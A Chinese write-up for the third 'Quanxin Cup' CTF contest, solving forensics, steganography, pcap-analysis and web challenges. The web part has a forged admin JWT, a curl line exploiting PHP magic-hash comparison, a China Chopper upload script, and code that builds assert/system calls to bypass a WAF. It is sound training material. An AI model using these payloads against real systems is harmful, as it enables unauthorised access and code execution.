第三届“泉信杯”网络空间安全技能大赛writeup

发布时间 2023-12-02 00:04:02作者: fnewll

解法不唯一
本次 ctf 题目主要偏向渗透和 MISC 方向,先来张全家福。

image.png

MISC

(5分)签到.txt

image.png
签到题不多说,加密算法给出,密钥为 qziectf,直接在线解即可
在线加密解密
image.png
:::info
qziectf{9330c030-a785-480f-9bb4-9fabe2326413}
:::

(10分)access.rar

image.png
这题是分析apache中间件日志

安服-中间件&数据库日志分析_网络及安全设备、服务器、数据库、中间件、应用系统的日志_深白色耳机的博客-CSDN博客

分析入侵log:

  1. 使用HEAD请求协议进行目录扫描

出现phpmyadmin目录,判断后端语言为PHP
image.png

  1. 接下来就是使用字典跑 www.qziectf.com/ll/ 有哪些文件

找到网站登入页面http://www.qziectf.com/ll/login.php
image.png

  1. 然后对登入表单进行爆破(使用base64进行一次编码)

全局搜索log,仅一个302状态码
image.png
HTTP 中常用的状态码(14种) - 掘金
URL在传参时会把登入表单中的特殊字符进行URL编码
image.png
看到数据后面带==,本能反应先base64解密
image.png
:::info
qziectf{qzxxrjgc}
:::

(10分)stego_text.zip

image.png
本题在第二届泉信杯题目中有类似,如果看过题目会有印象的
第二届“泉信杯”网络空间安全技能大赛writeup
如果实在看不懂,搜索一下关键字 + ctf 组合 也可以发现一些知识点
image.png
使用vscode打开文本
image.png
从中找到这些零宽度字符

  • U+200C ZERO WIDTH NON-JOINER
  • U+200E LEFT-TO-RIGHT MARK
  • U+200F LEFT-TO-RIGHT MARK
  • U+202C POP DIRECTIONAL FORMATTING
  • U+FEFF ZERO WIDTH NO-BREAK SPACE

image.png
浅析什么是零宽度字符以及零宽度字符在实际中的应用场景
可能有人会说没找到U+FEFF,它是一种字节序。例如当我们用win自带的notepad保存文件时,会提示保存的编码,在里面输入内容并保存为UTF-16 BE,这里的BE和LE为字节序的术语,大端小端。
字符编码(ASCII,Unicode和UTF-8) 和 大小端 - 如果天空不死 - 博客园
image.png
可以发现编码都对应上了,之所以写在开头(FEFF)。也是告诉notepad加载器来进行接下来的大端字节序
image.png
隐写术的零宽度字符在线解密
Unicode Steganography with Zero-Width Characters
:::info
qziectf{55a3bf13-a0ff-4fa2-8df0-d75463931e4f}
:::

(15分)ez_pic.jpg

image.png
题目复刻GoogleCTF 2023 PAPAPAPA
ctf-writeups/googlectf23/misc/papapapa at main · D13David/ctf-writeups
这里已经介绍的很详细了,我这也照猫画虎的做一遍
复刻的过程中老是出一些小问题,于是就用两张一样,不同文件名来生成
我把这段制作flag.jpg的代码,用zip进行压缩,藏在jpg文件尾(FFD9)后面
image.png
得到get_flag.py文件

#!/usr/bin/env python3

with open('white.jpg', 'rb') as f:
  data = f.read()
  pos = 0xA6
  data = data[:pos] + b'\x10' + data[pos+1:]

with open('flag.jpg', 'wb') as f:
  f.write(data)

题目思路图,便于理解用winhex来进行演示
红色部分就是写入的数据(0x10),然后把数据进行拼接
image.png
那么来分析一下这个被覆盖的内容(pos = 0xA6),代表着什么参数
image.png
那个位置是jpg图片的分辨率的宽度,其实也很好猜出来的(500*500)
或者不想猜,网上找现成的jpg宽高爆破脚本来修改
Google CTF 2023 Writeup

import struct
filename = input("file:")
with open(filename, 'rb') as f:
    all_b = f.read()
    #w = all_b[165:167]
    #h = all_b[163:165]
    for i in range(490,520):
        name = str(i) + ".jpg"
        f1 = open(r"./output/" + name,"wb")
        im = all_b[:165]+struct.pack('>h',i)+all_b[167:]
        f1.write(im)
        f1.close()

就可以爆破出带有flag可显示的图片了
:::info
qziectf{2bf8ac48-0632-483a-a4d5-82d64e154c78}
:::

(15分)隐流.rar

image.png
这题用tools可以直接秒杀,但是用原理手工来做会稍微有一点点复杂。如果没有现成的tools,分数翻一倍都可以
大致总结一下,ntfs保存文件时会有一个元数据(MFT),当文件查看文件属性时会发现
image.pngimage.png
与linux下的inode大致是同一个概念,会告诉你文件的创造、修改、访问、元文件的变化,还有占用大小和实际大小,文件名信息等等。
image.png
ntfs中的这些元数据是由各各属性类型组成的
image.png
在0x80属性下在嵌套一个0x80属性,那么就实现了数据的隐藏
手工提取步骤

  1. 加载VHD磁盘

解压压缩包,发现是vhd格式。
计算机管理 -> 磁盘管理 -> 加载磁盘
image.png

  1. 进入到磁盘分区内,查看文件元文件

使用winhex进入到磁盘1
利用winhex特性自动定位到文件元文件扇区(查看文件系统信息快捷键 Ctrl + F7)
image.png

  1. 分析NTFS MFT中的 0x80属性

发现NTFS 0x80属性嵌套着一个0x80属性,这里就不展开来讲了
利用winhex高亮特性提取rar文件的密钥:0317bf0b-c8f2 后面的数据是一个空格(0x20)和回车(0x0D 0x0A)
image.png

  1. 取rar压缩文件数据

密钥已经取出,还有一个rar文件
MFT会在偏移量为0xFE-0xFF(最后两个字节)更新序列号,那么如有数据会放入跟新数组里

NTFS学习笔记(2):文件记录头_ntfs mft-CSDN博客
过程类似于这样
如果文件数据覆盖到更新序列号将移到更新数组,特别是压缩包基本都有校验,校验值不对文件无法打开,所以手工提文件的话,这个点要注意
image.png
如果采用这种方式的话(得另存为修改文件扩展名,重定向不知道为什么无法写入),会造成rar文件的损坏
原因是把更新序列号一起读入文件中来
image.png
现成工具:
NtfsStreamsEditor2 ( Ntfs数据流处理工具) 扫描即可(一把梭),用工具是没有灵魂的,但是香呀!
image.png
:::info
qziectf{MBR-NTFS-MRT-80H}
:::

(20分)Covertchannel.zip

image.png
这题目来自 第三届工业互联网创新大赛(线上选拔赛)
用wireshark进行分析,通过tcp流导出数据
image.png
把所有 0.../python/mqtt 替换为空
image.png
把其中的文件分离开来
image.png
流量提取3个文件,根据提示为一个zip压缩包,一段密文和密钥
data.zip base64解码两次
rsa.key      base64解码一次
secrets.txt base64解码两次
image.png
Base64 在线编码解码 | Base64 加密解密 - Base64.us
若解密完有不可显字符,那么使用命令重定向到文件中
image.png
image.png
然后在kali中用openssl进行解密
└─# openssl rsautl -decrypt -in secrets.txt -inkey rsa.key
The command rsautl was deprecated in version 3.0. Use 'pkeyutl' instead.
得到压缩句密码
b4ddfa11-4c91-48da-8e57-37d86a3f40ee
image.png
1.txt里面有flag

    ssp :
    credman :
     [00000000]
     * Username : flag
     * Domain   : secretserver
     * Password : a3e0f096-17ed-4c0b-8895-4dd0cbabafaf

:::info
qziectf{a3e0f096-17ed-4c0b-8895-4dd0cbabafaf}
:::

(20分)菜刀.pcapng

image.png
此题解析来自© 2023易霖博红客学院,侵删!解析思路比较完整

打开数据包,发现抓包文件很小,随便找个TCP数据包,右击选择“跟踪TCP码流”,根据会话内容很像是菜刀的数据包。选择“Statistcs”—>“Conversations”,选择TCP档,发现存在8个TCP会话。
image.png
image.png

一个个分析,发现其中前5个会话是通过菜刀查看目录的一个操作,返回部分返回了一个目录中的内容(可通过对选中部分先进行URL解码,再进行Base64解码,即可看到菜刀执行的代码,进而分析其逻辑)。而第6个会话是一个下载文件的会话,第7个会话是一个上传文件的会话。
image.png

分析第6个会话,可以看到会话的逻辑是下载一个hello.rar的文件,随后web进行了响应,将hello.rar的内容返回给了客户端。这里因为服务器在响应时使用了Transfer-Encoding选项,所以这里不能直接使用“Save as”保存数据包中的内容再用winhex提取出来(可以是可以,但是这种方式保存下来的数据需要自己写个脚本进行处理然后才能用winhex提取文件,太麻烦)。

那如何导出文件?选择“File”->“Export Objects”->“Http”,找到我们刚才下载文件会话的HTTP返回的那个Object,通过save as将其保存为文件。(通过这种方式提取出来的http数据,wiresahrk会自动帮我们解决采用Transfer-encoding传输的问题,而不需要我们自己去解决)
image.png
image.png
image.png

通过winhex打开刚刚保存的文件,将“->|”和“|<-”之间的数据保存为一个Rar文件。解压后发现是一张图片,里面有半个key。(“->|”和“|<-”为在传输数据时,菜刀加入的内容)
image.png
image.png

因为只有半个key,所以还需要分析上传逻辑。首先将菜刀的代码部分进行urldecode、base64解码还原出来,如图所示。很明显是一个上传文件的逻辑,这个无法用winhex提取文件,只能将菜刀的上传代码稍作修改,并在php环境下运行,即可以得到上传文件。

<?php
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$f="hhh.png";
$c="一大堆16进制数据";
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));
echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;
echo("|<-");
die();
?>

image.png

将数据填入后运行脚本,成功生成一个success.png文件,发现图片中存在另一半的key。
image.png
:::info
qziectf{c7265f898a52fcc4}
:::

WEB

(15分)Easy_JWT

image.png
考点:jwt密钥猜解
泉信杯相关的题目,结合hint可得知jwt密钥可猜解
信息收集,猜解密钥为qzie或qziedu
先访问http://127.0.0.1:8888/get_jwt/test随便获得一个jwt
然后访问jwt.io修改jwt用户为admin,并填上猜解的密钥
image.png
再带上jwt访问flag接口

http://127.0.0.1:8888/get_flag/eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4ifQ.n3FfVifeM4TWMuXbohpO_FmAM0c_KkHPwB36SI3fq-g

image.png

from flask import Flask
app=Flask(__name__)
import jwt
import time
salt = "qziedu"

def generate_jwt(username):
    headers = {
      "alg": "HS256",
      "typ": "JWT"
    }
    payload = {
      "name": username,
    }
    token = jwt.encode(payload=payload, key=salt, algorithm='HS256', headers=headers)
    return token

@app.route('/')
def index():
	a = '''
	访问url /get_jwt/你的用户名 去获得你的jwt</br>
	访问url /get_flag/你的jwt 去获得flag</br>
	实在做不出来看看hint吧 /hint
	'''
	return a

@app.route('/hint')
def hint():
	return "可以猜解出来的jwt密钥哦!"

@app.route('/get_jwt/<username>',methods=['GET'])
def get_jwt(username):
    if username == "admin":
        return "你个小机灵鬼,别想直接获得管理员的权限!</br>试试别的方法!"
    user_jwt = username
    strings = 'Here is your jwt: ' + generate_jwt(user_jwt)
    return strings

@app.route('/get_flag/<jwt_token>',methods=['GET'])
def get_flag(jwt_token):
    info = jwt.decode(jwt_token, salt, algorithms='HS256')
    username = info["name"]
    if username == "admin":
    	return "恭喜你,flag是 qziectf{F3nny_5nd_E4sy_1wt}"
    else:
    	return "只有admin的权限才能获取flag"
    return info

if __name__=="__main__":
    app.run(port=8888,host="127.0.0.1",debug=False)

:::info
qziectf{F3nny_5nd_E4sy_1wt}
:::

(15分)easy_php

image.png
考点:PHP弱类型和指定名为client-ip的HTTP头
image.png

<?php
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'][0];
$b=$_SERVER['argv'][1];
$c=$_SERVER['HTTP_CLIENT_IP'];

if($a==md5($b) && $a!=$b && $a==md5($a) ){
	if(isset($c)){
	echo $flag;
	}else{
		echo '提供一个client-ip';
	}
}
?>
curl -H "client-ip: 1.1.1.1" "http://127.0.0.1:8000/index.php?0e215962017+QNKCDZO"

:::info
qziectf{9d78ff75-0708-4707-b84a-ada58b92dc23}
:::

(20分)Pop

image.png
Pop链构造
A.wakeup --> A.toString -> V.get --> qzi.invoke --> get flag
具体过程参考 qianyuzz 师傅的原文思路详解
POP链 - qianyuzz - 博客园
:::info
qziectf{c289de6f01cde5be7d8cad7ca31f36d6}
:::

层层渗透2.0

层层渗透-1
函数拼接绕过 waf,根目录下 cat flag

<?php
$func`=`'syste'.'m("ls")';
$a`=`"a";
$s`=`"s";
$c=$a.$s.'sert';
$c($func);
?>

image.png
层层渗透-2
略~
层层渗透-3
略~